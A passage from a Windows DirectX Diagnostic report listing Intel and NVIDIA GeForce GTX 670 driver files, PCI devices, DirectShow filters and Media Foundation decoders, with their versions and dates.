C:\WINDOWS\system32\Gfxres.hu-HU.resources, 12/14/2012 02:42:30, 143916 bytes Driver: C:\WINDOWS\system32\Gfxres.it-IT.resources, 12/14/2012 02:42:10, 149649 bytes Driver: C:\WINDOWS\system32\Gfxres.ja-JP.resources, 12/14/2012 02:42:30, 163379 bytes Driver: C:\WINDOWS\system32\Gfxres.ko-KR.resources, 12/14/2012 02:42:24, 148018 bytes Driver: C:\WINDOWS\system32\Gfxres.nb-NO.resources, 12/14/2012 02:42:24, 137793 bytes Driver: C:\WINDOWS\system32\Gfxres.nl-NL.resources, 12/14/2012 02:42:12, 143989 bytes Driver: C:\WINDOWS\system32\Gfxres.pl-PL.resources, 12/14/2012 02:42:26, 142682 bytes Driver: C:\WINDOWS\system32\Gfxres.pt-BR.resources, 12/14/2012 02:42:36, 144235 bytes Driver: C:\WINDOWS\system32\Gfxres.pt-PT.resources, 12/14/2012 02:42:24, 143249 bytes Driver: C:\WINDOWS\system32\Gfxres.ro-RO.resources, 12/14/2012 02:42:22, 145974 bytes Driver: C:\WINDOWS\system32\Gfxres.ru-RU.resources, 12/14/2012 02:42:28, 194121 bytes Driver: C:\WINDOWS\system32\Gfxres.sk-SK.resources, 12/14/2012 02:42:24, 141833 bytes Driver: C:\WINDOWS\system32\Gfxres.sl-SI.resources, 12/14/2012 02:42:22, 137880 bytes Driver: C:\WINDOWS\system32\Gfxres.sv-SE.resources, 12/14/2012 02:42:24, 142876 bytes Driver: C:\WINDOWS\system32\Gfxres.th-TH.resources, 12/14/2012 02:42:12, 223492 bytes Driver: C:\WINDOWS\system32\Gfxres.tr-TR.resources, 12/14/2012 02:42:30, 144637 bytes Driver: C:\WINDOWS\system32\Gfxres.zh-CN.resources, 12/14/2012 02:42:30, 124662 bytes Driver: C:\WINDOWS\system32\Gfxres.zh-TW.resources, 12/14/2012 02:42:12, 126294 bytes Driver: C:\WINDOWS\system32\ig7icd64.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:22, 11633152 bytes Driver: C:\WINDOWS\SysWow64\ig7icd32.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:20, 8621056 bytes Driver: C:\WINDOWS\system32\Intel_OpenCL_ICD64.dll, 1.02.0001.0000 (English), 12/14/2012 02:42:22, 56832 bytes Driver: C:\WINDOWS\system32\IntelOpenCL64.dll, 1.01.0000.1003 (English), 12/14/2012 02:42:26, 241664 bytes Driver: C:\WINDOWS\system32\igdbcl64.dll, 9.17.0010.2884 (English), 12/14/2012 02:42:14, 3581440 bytes Driver: C:\WINDOWS\system32\igdrcl64.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:12, 27664896 bytes Driver: C:\WINDOWS\system32\igdfcl64.dll, 8.01.0000.2932 (English), 12/14/2012 02:42:20, 27457536 bytes Driver: C:\WINDOWS\SysWow64\Intel_OpenCL_ICD32.dll, 1.02.0001.0000 (English), 12/14/2012 02:42:12, 56320 bytes Driver: C:\WINDOWS\SysWow64\IntelOpenCL32.dll, 1.01.0000.1003 (English), 12/14/2012 02:42:36, 196096 bytes Driver: C:\WINDOWS\SysWow64\igdbcl32.dll, 9.17.0010.2884 (English), 12/14/2012 02:42:12, 2898944 bytes Driver: C:\WINDOWS\SysWow64\igdrcl32.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:16, 27643904 bytes Driver: C:\WINDOWS\SysWow64\igdfcl32.dll, 8.01.0000.2932 (English), 12/14/2012 02:42:36, 21850112 bytes Driver: C:\WINDOWS\system32\igfxCoIn_v2932.dll, 1.02.0030.0000 (English), 12/14/2012 02:42:20, 116224 bytes Name: NVIDIA GeForce GTX 670 Device ID: PCI\VEN_10DE&DEV_1189&SUBSYS_355A1458&REV_A1\4&15001D53&0&0008 Driver: C:\Program Files\NVIDIA Corporation\Drs\dbInstaller.exe, 8.17.0013.1106 (English), 2/26/2013 00:32:28, 233760 bytes Driver: C:\Program Files\NVIDIA Corporation\Drs\nvdrsdb.bin, 2/26/2013 00:32:36, 1102808 bytes Driver: C:\WINDOWS\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_67d640ab45cc6b34\NvCplSetupInt.exe, 1.00.0001.0000 (English), 2/26/2013 00:32:22, 73372616 bytes Driver: C:\Program Files (x86)\NVIDIA Corporation\coprocmanager\Nvd3d9wrap.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:42, 286536 bytes Driver: C:\Program Files (x86)\NVIDIA Corporation\coprocmanager\detoured.dll, 2/26/2013 00:32:42, 4096 bytes Driver: C:\Program Files (x86)\NVIDIA Corporation\coprocmanager\nvdxgiwrap.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:40, 193336 bytes Driver: C:\Program Files\NVIDIA Corporation\coprocmanager\Nvd3d9wrapx.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:28, 327248 bytes Driver: C:\Program Files\NVIDIA Corporation\coprocmanager\detoured.dll, 2/26/2013 00:32:36, 4096 bytes Driver: C:\Program Files\NVIDIA Corporation\coprocmanager\nvdxgiwrapx.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:04, 228880 bytes Driver: C:\Program Files\NVIDIA Corporation\license.txt, 2/26/2013 00:32:08, 21898 bytes Driver: C:\Program Files\NVIDIA Corporation\NVSMI\MCU.exe, 1.00.4647.21994 (English), 2/26/2013 00:32:08, 1562400 bytes Driver: C:\Program Files\NVIDIA Corporation\NVSMI\nvdebugdump.exe, 2/26/2013 00:32:44, 223008 bytes Driver: C:\Program Files\NVIDIA Corporation\NVSMI\nvidia-smi.1.pdf, 2/26/2013 00:32:40, 40574 bytes Driver: C:\Program Files\NVIDIA Corporation\NVSMI\nvidia-smi.exe, 8.17.0013.1106 (English), 2/26/2013 00:32:42, 241440 bytes Driver: C:\Program Files\NVIDIA Corporation\NVSMI\nvml.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:42, 428320 bytes Driver: C:\Program Files\NVIDIA Corporation\OpenCL\OpenCL.dll, 1.00.0000.0000 (English), 2/26/2013 00:32:06, 53024 bytes Driver: C:\Program Files\NVIDIA Corporation\OpenCL\OpenCL64.dll, 1.00.0000.0000 (English), 2/26/2013 00:32:40, 61216 bytes Driver: C:\WINDOWS\system32\DRIVERS\nvlddmkm.sys, 9.18.0013.1106 (English), 2/26/2013 00:32:32, 11036448 bytes Driver: C:\WINDOWS\system32\nvEncodeAPI64.dll, 6.14.0013.1106 (English), 2/26/2013 00:32:36, 420128 bytes Driver: C:\WINDOWS\system32\nvapi64.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:40, 2826040 bytes Driver: C:\WINDOWS\system32\nvcompiler.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:44, 25256224 bytes Driver: C:\WINDOWS\system32\nvcuda.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:06, 9390760 bytes Driver: C:\WINDOWS\system32\nvcuvenc.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:34, 2346784 bytes Driver: C:\WINDOWS\system32\nvcuvid.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:28, 2904352 bytes Driver: C:\WINDOWS\system32\nvd3dumx.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:38, 18055184 bytes Driver: C:\WINDOWS\system32\nvinfo.pb, 2/26/2013 00:32:08, 17266 bytes Driver: C:\WINDOWS\system32\nvinitx.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:32, 245872 bytes Driver: C:\WINDOWS\system32\nvoglv64.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:36, 26929440 bytes Driver: C:\WINDOWS\system32\nvopencl.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:08, 7564040 bytes Driver: C:\WINDOWS\system32\nvumdshimx.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:38, 1107440 bytes Driver: C:\WINDOWS\system32\nvwgf2umx.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:26, 15053264 bytes Driver: C:\WINDOWS\SysWow64\nvEncodeAPI.dll, 6.14.0013.1106 (English), 2/26/2013 00:32:28, 364832 bytes Driver: C:\WINDOWS\SysWow64\nvapi.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:44, 2505144 bytes Driver: C:\WINDOWS\SysWow64\nvcompiler.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:24, 17560352 bytes Driver: C:\WINDOWS\SysWow64\nvcuda.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:34, 7932256 bytes Driver: C:\WINDOWS\SysWow64\nvcuvenc.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:08, 1985824 bytes Driver: C:\WINDOWS\SysWow64\nvcuvid.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:36, 2720544 bytes Driver: C:\WINDOWS\SysWow64\nvd3dum.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:42, 15129960 bytes Driver: C:\WINDOWS\SysWow64\nvinit.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:04, 201576 bytes Driver: C:\WINDOWS\SysWow64\nvoglv32.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:26, 20449056 bytes Driver: C:\WINDOWS\SysWow64\nvopencl.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:40, 6262608 bytes Driver: C:\WINDOWS\SysWow64\nvumdshim.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:36, 958120 bytes Driver: C:\WINDOWS\SysWow64\nvwgf2um.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:08, 12641992 bytes Driver: C:\WINDOWS\system32\nvdispco64.dll, 2.00.0029.0004 (English), 2/26/2013 00:32:38, 1814304 bytes Driver: C:\WINDOWS\system32\nvdispgenco64.dll, 2.00.0016.0002 (English), 2/26/2013 00:32:32, 1510176 bytes Name: Xeon(R) processor E3-1200 v2/3rd Gen Core processor PCI Express Root Port - 0151 Device ID: PCI\VEN_8086&DEV_0151&SUBSYS_01511849&REV_09\3&11583659&0&08 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Intel(R) 7 Series/C216 Chipset Family SATA AHCI Controller Device ID: PCI\VEN_8086&DEV_1E02&SUBSYS_1E021849&REV_04\3&11583659&0&FA Driver: C:\WINDOWS\system32\DRIVERS\iaStorA.sys, 11.07.0000.1013 (English), 11/19/2012 12:10:38, 652344 bytes Name: PCI standard PCI-to-PCI bridge Device ID: PCI\VEN_1B21&DEV_1080&SUBSYS_10801849&REV_03\4&C7A4F95&0&00E5 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Intel(R) 7 Series/C216 Chipset Family PCI Express Root Port 8 - 1E1E Device ID: PCI\VEN_8086&DEV_1E1E&SUBSYS_1E1E1849&REV_C4\3&11583659&0&E7 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Broadcom NetLink (TM) Gigabit Ethernet Device ID: PCI\VEN_14E4&DEV_16B1&SUBSYS_96B11849&REV_10\4&2B8260C3&0&00E4 Driver: C:\WINDOWS\system32\DRIVERS\k57nd60a.sys, 15.04.0000.0009 (English), 8/25/2012 22:11:34, 433976 bytes Name: Intel(R) 7 Series/C216 Chipset Family PCI Express Root Port 6 - 1E1A Device ID: PCI\VEN_8086&DEV_1E1A&SUBSYS_1E1A1849&REV_C4\3&11583659&0&E5 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Intel(R) Z77 Express Chipset LPC Controller - 1E44 Device ID: PCI\VEN_8086&DEV_1E44&SUBSYS_1E441849&REV_04\3&11583659&0&F8 Driver: C:\WINDOWS\system32\DRIVERS\msisadrv.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 17136 bytes Name: ASMedia XHCI Controller Device ID: PCI\VEN_1B21&DEV_1042&SUBSYS_10421849&REV_00\4&37A73C8A&0&00E7 Driver: C:\WINDOWS\system32\DRIVERS\asmtxhci.sys, 1.16.0002.0000 (English), 8/20/2012 10:38:12, 416072 bytes Name: Asmedia 106x SATA Controller Device ID: PCI\VEN_1B21&DEV_0612&SUBSYS_06121849&REV_01\4&33B94F4C&0&00E3 Driver: C:\WINDOWS\system32\DRIVERS\asahci64.sys, 1.03.0008.0000 (English), 7/18/2012 11:29:46, 49048 bytes Driver: C:\WINDOWS\system32\ahcipp64.dll, 1.00.0000.0001 (English), 7/8/2011 21:29:04, 48736 bytes Name: Intel(R) Management Engine Interface Device ID: PCI\VEN_8086&DEV_1E3A&SUBSYS_1E3A1849&REV_04\3&11583659&0&B0 Driver: C:\WINDOWS\system32\DRIVERS\HECIx64.sys, 9.00.0000.1287 (English), 1/11/2013 19:02:34, 64624 bytes Name: Intel(R) USB 3.0 eXtensible Host Controller - 0100 (Microsoft) Device ID: PCI\VEN_8086&DEV_1E31&SUBSYS_1E311849&REV_04\3&11583659&0&A0 Driver: C:\WINDOWS\system32\DRIVERS\UCX01000.SYS, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 212208 bytes Driver: C:\WINDOWS\system32\DRIVERS\USBXHCI.SYS, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 337136 bytes Name: Xeon(R) processor E3-1200 v2/3rd Gen Core processor DRAM Controller - 0150 Device ID: PCI\VEN_8086&DEV_0150&SUBSYS_01501849&REV_09\3&11583659&0&00 Driver: n/a ------------------ DirectShow Filters ------------------ DirectShow Filters: WMAudio Decoder DMO,0x00800800,1,1,WMADMOD.DLL,6.02.9200.16384 WMAPro over S/PDIF DMO,0x00600800,1,1,WMADMOD.DLL,6.02.9200.16384 WMSpeech Decoder DMO,0x00600800,1,1,WMSPDMOD.DLL,6.02.9200.16384 MP3 Decoder DMO,0x00600800,1,1,mp3dmod.dll,6.02.9200.16384 Mpeg4s Decoder DMO,0x00800001,1,1,mp4sdecd.dll,6.02.9200.16384 WMV Screen decoder DMO,0x00600800,1,1,wmvsdecd.dll,6.02.9200.16384 WMVideo Decoder DMO,0x00800001,1,1,wmvdecod.dll,6.02.9200.16384 Mpeg43 Decoder DMO,0x00800001,1,1,mp43decd.dll,6.02.9200.16384 Mpeg4 Decoder DMO,0x00800001,1,1,mpg4decd.dll,6.02.9200.16384 DV Muxer,0x00400000,0,0,qdv.dll,6.06.9200.16384 Color Space Converter,0x00400001,1,1,quartz.dll,6.06.9200.16384 WM ASF Reader,0x00400000,0,0,qasf.dll,12.00.9200.16384 AVI Splitter,0x00600000,1,1,quartz.dll,6.06.9200.16384 VGA 16 Color Ditherer,0x00400000,1,1,quartz.dll,6.06.9200.16384 SBE2MediaTypeProfile,0x00200000,0,0,sbe.dll,6.06.9200.16384 Microsoft DTV-DVD Video Decoder,0x005fffff,2,4,msmpeg2vdec.dll,12.00.8500.0000 AC3 Parser Filter,0x00600000,1,1,mpg2splt.ax,6.06.9200.16384 StreamBufferSink,0x00200000,0,0,sbe.dll,6.06.9200.16384 MJPEG Decompressor,0x00600000,1,1,quartz.dll,6.06.9200.16384 MPEG-I Stream Splitter,0x00600000,1,2,quartz.dll,6.06.9200.16384 SAMI (CC) Parser,0x00400000,1,1,quartz.dll,6.06.9200.16384 VBI Codec,0x00600000,1,4,VBICodec.ax,6.06.9200.16384 MPEG-2 Splitter,0x005fffff,1,0,mpg2splt.ax,6.06.9200.16384 Closed Captions Analysis Filter,0x00200000,2,5,cca.dll,6.06.9200.16384 SBE2FileScan,0x00200000,0,0,sbe.dll,6.06.9200.16384 Microsoft MPEG-2 Video Encoder,0x00200000,1,1,msmpeg2enc.dll,12.00.9200.16384 Internal Script Command Renderer,0x00800001,1,0,quartz.dll,6.06.9200.16384 MPEG Audio Decoder,0x03680001,1,1,quartz.dll,6.06.9200.16384 DV Splitter,0x00600000,1,2,qdv.dll,6.06.9200.16384 Video Mixing Renderer 9,0x00200000,1,0,quartz.dll,6.06.9200.16384 Microsoft MPEG-2 Encoder,0x00200000,2,1,msmpeg2enc.dll,12.00.9200.16384 ACM Wrapper,0x00600000,1,1,quartz.dll,6.06.9200.16384 Video Renderer,0x00800001,1,0,quartz.dll,6.06.9200.16384 MPEG-2 Video Stream Analyzer,0x00200000,0,0,sbe.dll,6.06.9200.16384 Line 21 Decoder,0x00600000,1,1,, Video Port Manager,0x00600000,2,1,quartz.dll,6.06.9200.16384 Video Renderer,0x00400000,1,0,quartz.dll,6.06.9200.16384 VPS Decoder,0x00200000,0,0,WSTPager.ax,6.06.9200.16384 WM ASF Writer,0x00400000,0,0,qasf.dll,12.00.9200.16384 VBI Surface Allocator,0x00600000,1,1,vbisurf.ax,6.02.9200.16384 File writer,0x00200000,1,0,qcap.dll,6.06.9200.16384 DVD Navigator,0x00200000,0,3,qdvd.dll,6.06.9200.16384 Overlay Mixer2,0x00200000,1,1,, Microsoft MPEG-2 Audio Encoder,0x00200000,1,1,msmpeg2enc.dll,12.00.9200.16384 WST Pager,0x00200000,1,1,WSTPager.ax,6.06.9200.16384 MPEG-2 Demultiplexer,0x00600000,1,1,mpg2splt.ax,6.06.9200.16384 DV Video Decoder,0x00800000,1,1,qdv.dll,6.06.9200.16384 SampleGrabber,0x00200000,1,1,qedit.dll,6.06.9200.16384 Null Renderer,0x00200000,1,0,qedit.dll,6.06.9200.16384 MPEG-2 Sections and Tables,0x005fffff,1,0,Mpeg2Data.ax,6.06.9200.16384 Microsoft AC3 Encoder,0x00200000,1,1,msac3enc.dll,6.02.9200.16384 StreamBufferSource,0x00200000,0,0,sbe.dll,6.06.9200.16384 Smart Tee,0x00200000,1,2,qcap.dll,6.06.9200.16384 Overlay Mixer,0x00200000,0,0,, AVI Decompressor,0x00600000,1,1,quartz.dll,6.06.9200.16384 AVI/WAV File Source,0x00400000,0,2,quartz.dll,6.06.9200.16384 Wave Parser,0x00400000,1,1,quartz.dll,6.06.9200.16384 MIDI Parser,0x00400000,1,1,quartz.dll,6.06.9200.16384 Multi-file Parser,0x00400000,1,1,quartz.dll,6.06.9200.16384 File stream renderer,0x00400000,1,1,quartz.dll,6.06.9200.16384 Microsoft DTV-DVD Audio Decoder,0x005fffff,1,1,msmpeg2adec.dll,12.00.8506.0000 StreamBufferSink2,0x00200000,0,0,sbe.dll,6.06.9200.16384 AVI Mux,0x00200000,1,0,qcap.dll,6.06.9200.16384 Line 21 Decoder 2,0x00600002,1,1,quartz.dll,6.06.9200.16384 File Source (Async.),0x00400000,0,1,quartz.dll,6.06.9200.16384 File Source (URL),0x00400000,0,1,quartz.dll,6.06.9200.16384 AudioRecorder WAV Dest,0x00200000,0,0,WavDest.dll, AudioRecorder Wave Form,0x00200000,0,0,WavDest.dll, SoundRecorder Null Renderer,0x00200000,0,0,WavDest.dll, Infinite Pin Tee Filter,0x00200000,1,1,qcap.dll,6.06.9200.16384 Enhanced Video Renderer,0x00200000,1,0,evr.dll,6.02.9200.16384 BDA MPEG2 Transport Information Filter,0x00200000,2,0,psisrndr.ax,6.06.9200.16384 MPEG Video Decoder,0x40000001,1,1,quartz.dll,6.06.9200.16384 WDM Streaming Tee/Splitter Devices: Tee/Sink-to-Sink Converter,0x00200000,1,1,ksproxy.ax,6.02.9200.16384 Video Compressors: WMVideo8 Encoder DMO,0x00600800,1,1,wmvxencd.dll,6.02.9200.16384 WMVideo9 Encoder DMO,0x00600800,1,1,wmvencod.dll,6.02.9200.16384 MSScreen 9 encoder DMO,0x00600800,1,1,wmvsencd.dll,6.02.9200.16384 DV Video Encoder,0x00200000,0,0,qdv.dll,6.06.9200.16384 MJPEG Compressor,0x00200000,0,0,quartz.dll,6.06.9200.16384 Audio Compressors: WM Speech Encoder DMO,0x00600800,1,1,WMSPDMOE.DLL,6.02.9200.16384 WMAudio Encoder DMO,0x00600800,1,1,WMADMOE.DLL,6.02.9200.16384 IMA ADPCM,0x00200000,1,1,quartz.dll,6.06.9200.16384 PCM,0x00200000,1,1,quartz.dll,6.06.9200.16384 Microsoft ADPCM,0x00200000,1,1,quartz.dll,6.06.9200.16384 GSM 6.10,0x00200000,1,1,quartz.dll,6.06.9200.16384 CCITT A-Law,0x00200000,1,1,quartz.dll,6.06.9200.16384 CCITT u-Law,0x00200000,1,1,quartz.dll,6.06.9200.16384 MPEG Layer-3,0x00200000,1,1,quartz.dll,6.06.9200.16384 Audio Capture Sources: Microphone (Plantronics GameCom 780),0x00200000,0,0,qcap.dll,6.06.9200.16384 SPDIF Interface (Plantronics GameCom 780),0x00200000,0,0,qcap.dll,6.06.9200.16384 Line (Plantronics GameCom 780),0x00200000,0,0,qcap.dll,6.06.9200.16384 PBDA CP Filters: PBDA DTFilter,0x00600000,1,1,CPFilters.dll,6.06.9200.16384 PBDA ETFilter,0x00200000,0,0,CPFilters.dll,6.06.9200.16384 PBDA PTFilter,0x00200000,0,0,CPFilters.dll,6.06.9200.16384 Midi Renderers: Default MidiOut Device,0x00800000,1,0,quartz.dll,6.06.9200.16384 Microsoft GS Wavetable Synth,0x00200000,1,0,quartz.dll,6.06.9200.16384 WDM Streaming Capture Devices: Plantronics GameCom 780,0x00200000,4,2,ksproxy.ax,6.02.9200.16384 WDM Streaming Rendering Devices: HD Audio SPDIF out,0x00200000,1,1,ksproxy.ax,6.02.9200.16384 HD Audio Speaker,0x00200000,1,1,ksproxy.ax,6.02.9200.16384 Plantronics GameCom 780,0x00200000,4,2,ksproxy.ax,6.02.9200.16384 BDA Network Providers: Microsoft ATSC Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.9200.16384 Microsoft DVBC Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.9200.16384 Microsoft DVBS Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.9200.16384 Microsoft DVBT Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.9200.16384 Microsoft Network Provider,0x00200000,0,1,MSNP.ax,6.06.9200.16384 Multi-Instance Capable VBI Codecs: VBI Codec,0x00600000,1,4,VBICodec.ax,6.06.9200.16384 BDA Transport Information Renderers: BDA MPEG2 Transport Information Filter,0x00600000,2,0,psisrndr.ax,6.06.9200.16384 MPEG-2 Sections and Tables,0x00600000,1,0,Mpeg2Data.ax,6.06.9200.16384 BDA CP/CA Filters: Decrypt/Tag,0x00600000,1,1,EncDec.dll,6.06.9200.16384 Encrypt/Tag,0x00200000,0,0,EncDec.dll,6.06.9200.16384 PTFilter,0x00200000,0,0,EncDec.dll,6.06.9200.16384 XDS Codec,0x00200000,0,0,EncDec.dll,6.06.9200.16384 WDM Streaming Communication Transforms: Tee/Sink-to-Sink Converter,0x00200000,1,1,ksproxy.ax,6.02.9200.16384 Audio Renderers: Speakers (Plantronics GameCom 780),0x00200000,1,0,quartz.dll,6.06.9200.16384 Default DirectSound Device,0x00800000,1,0,quartz.dll,6.06.9200.16384 Default WaveOut Device,0x00200000,1,0,quartz.dll,6.06.9200.16384 DirectSound: Speakers (Plantronics GameCom 780),0x00200000,1,0,quartz.dll,6.06.9200.16384 DirectSound: Speakers (High Definition Audio Device),0x00200000,1,0,quartz.dll,6.06.9200.16384 DirectSound: Digital Audio (S/PDIF) (High Definition Audio Device),0x00200000,1,0,quartz.dll,6.06.9200.16384 Speakers (High Definition Audio Device),0x00200000,1,0,quartz.dll,6.06.9200.16384 Digital Audio (S/PDIF) (High Definition Audio Device),0x00200000,1,0,quartz.dll,6.06.9200.16384 ---------------------------- Preferred DirectShow Filters ---------------------------- [HKEY_LOCAL_MACHINE\Software\Microsoft\DirectShow\Preferred] <media subtype GUID>, [<filter friendly name>, ]<filter CLSID> MEDIASUBTYPE_WMAUDIO_LOSSLESS, WMAudio Decoder DMO, CLSID_CWMADecMediaObject MEDIASUBTYPE_MPG4, Mpeg4 Decoder DMO, CLSID_CMpeg4DecMediaObject WMMEDIASUBTYPE_WMSP2, WMSpeech Decoder DMO, CLSID_CWMSPDecMediaObject MEDIASUBTYPE_WVC1, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject {64687664-0000-0010-8000-00AA00389B71}, DV Video Decoder, CLSID_DVVideoCodec MEDIASUBTYPE_h264, Microsoft DTV-DVD Video Decoder, CLSID_CMPEG2VidDecoderDS MEDIASUBTYPE_MPEG1AudioPayload, MPEG Audio Decoder, CLSID_CMpegAudioCodec {78766964-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_WMAUDIO3, WMAudio Decoder DMO, CLSID_CWMADecMediaObject MEDIASUBTYPE_WMV2, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_MPEG2_AUDIO, Microsoft DTV-DVD Audio Decoder, CLSID_CMPEG2AudDecoderDS {64697678-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject WMMEDIASUBTYPE_MP3, MP3 Decoder DMO, CLSID_CMP3DecMediaObject MEDIASUBTYPE_mp42, Mpeg4 Decoder DMO, CLSID_CMpeg4DecMediaObject MEDIASUBTYPE_MSS1, WMV Screen decoder DMO, CLSID_CMSSCDecMediaObject MEDIASUBTYPE_WVP2, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_WMV1, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_WMVP, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_WMV3, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_WMVR, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_MJPG, MJPEG Decompressor, CLSID_MjpegDec MEDIASUBTYPE_mp43, Mpeg43 Decoder DMO, CLSID_CMpeg43DecMediaObject MEDIASUBTYPE_MSS2, WMV Screen decoder DMO, CLSID_CMSSCDecMediaObject {64737664-0000-0010-8000-00AA00389B71}, DV Video Decoder, CLSID_DVVideoCodec WMMEDIASUBTYPE_WMAudioV8, WMAudio Decoder DMO, CLSID_CWMADecMediaObject {44495658-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject WMMEDIASUBTYPE_WMSP1, WMSpeech Decoder DMO, CLSID_CWMSPDecMediaObject MEDIASUBTYPE_RAW_AAC1, Microsoft DTV-DVD Audio Decoder, CLSID_CMPEG2AudDecoderDS {6C737664-0000-0010-8000-00AA00389B71}, DV Video Decoder, CLSID_DVVideoCodec MEDIASUBTYPE_MP43, Mpeg43 Decoder DMO, CLSID_CMpeg43DecMediaObject MEDIASUBTYPE_MPEG1Payload, MPEG Video Decoder, CLSID_CMpegVideoCodec MEDIASUBTYPE_AVC1, Microsoft DTV-DVD Video Decoder, CLSID_CMPEG2VidDecoderDS {20637664-0000-0010-8000-00AA00389B71}, DV Video Decoder, CLSID_DVVideoCodec {58564944-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_MP42, Mpeg4 Decoder DMO, CLSID_CMpeg4DecMediaObject MEDIASUBTYPE_MPEG_ADTS_AAC, Microsoft DTV-DVD Audio Decoder, CLSID_CMPEG2AudDecoderDS MEDIASUBTYPE_mpg4, Mpeg4 Decoder DMO, CLSID_CMpeg4DecMediaObject MEDIASUBTYPE_M4S2, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_m4s2, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_MP4S, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_mp4s, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_MPEG1Packet, MPEG Video Decoder, CLSID_CMpegVideoCodec {5634504D-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject {7634706D-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_H264, Microsoft DTV-DVD Video Decoder, CLSID_CMPEG2VidDecoderDS MEDIASUBTYPE_MPEG2_VIDEO, Microsoft DTV-DVD Video Decoder, CLSID_CMPEG2VidDecoderDS MEDIASUBTYPE_WMVA, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_MSAUDIO1, WMAudio Decoder DMO, CLSID_CWMADecMediaObject MEDIASUBTYPE_DVD_LPCM_AUDIO, Microsoft DTV-DVD Audio Decoder, CLSID_CMPEG2AudDecoderDS MEDIASUBTYPE_MPEG_LOAS, Microsoft DTV-DVD Audio Decoder, CLSID_CMPEG2AudDecoderDS --------------------------- Media Foundation Transforms --------------------------- [HKEY_LOCAL_MACHINE\Software\Classes\MediaFoundation\Transforms] <category>: <transform friendly name>, <transform CLSID>, <flags>, [<merit>, ]<file name>, <file version> Video Decoders: Microsoft MPEG Video Decoder MFT, {2D709E52-123F-49B5-9CBC-9AF5CDE28FB9}, 0x1, msmpeg2vdec.dll, 12.00.8500.0000 DV Decoder MFT, {404A6DE5-D4D6-4260-9BC7-5A6CBD882432}, 0x1, mfdvdec.dll, 6.02.9200.16384 Mpeg4s Decoder MFT, CLSID_CMpeg4sDecMFT, 0x1, mp4sdecd.dll, 6.02.9200.16384 Microsoft H264 Video Decoder MFT, CLSID_CMSH264DecoderMFT, 0x1, msmpeg2vdec.dll, 12.00.8500.0000 WMV Screen decoder MFT, CLSID_CMSSCDecMediaObject, 0x1, wmvsdecd.dll, 6.02.9200.16384 WMVideo Decoder MFT, CLSID_CWMVDecMediaObject, 0x1, wmvdecod.dll, 6.02.9200.16384 MJPEG Decoder MFT, {CB17E772-E1CC-4633-8450-5617AF577905}, 0x1, mfmjpegdec.dll, 6.02.9200.16384 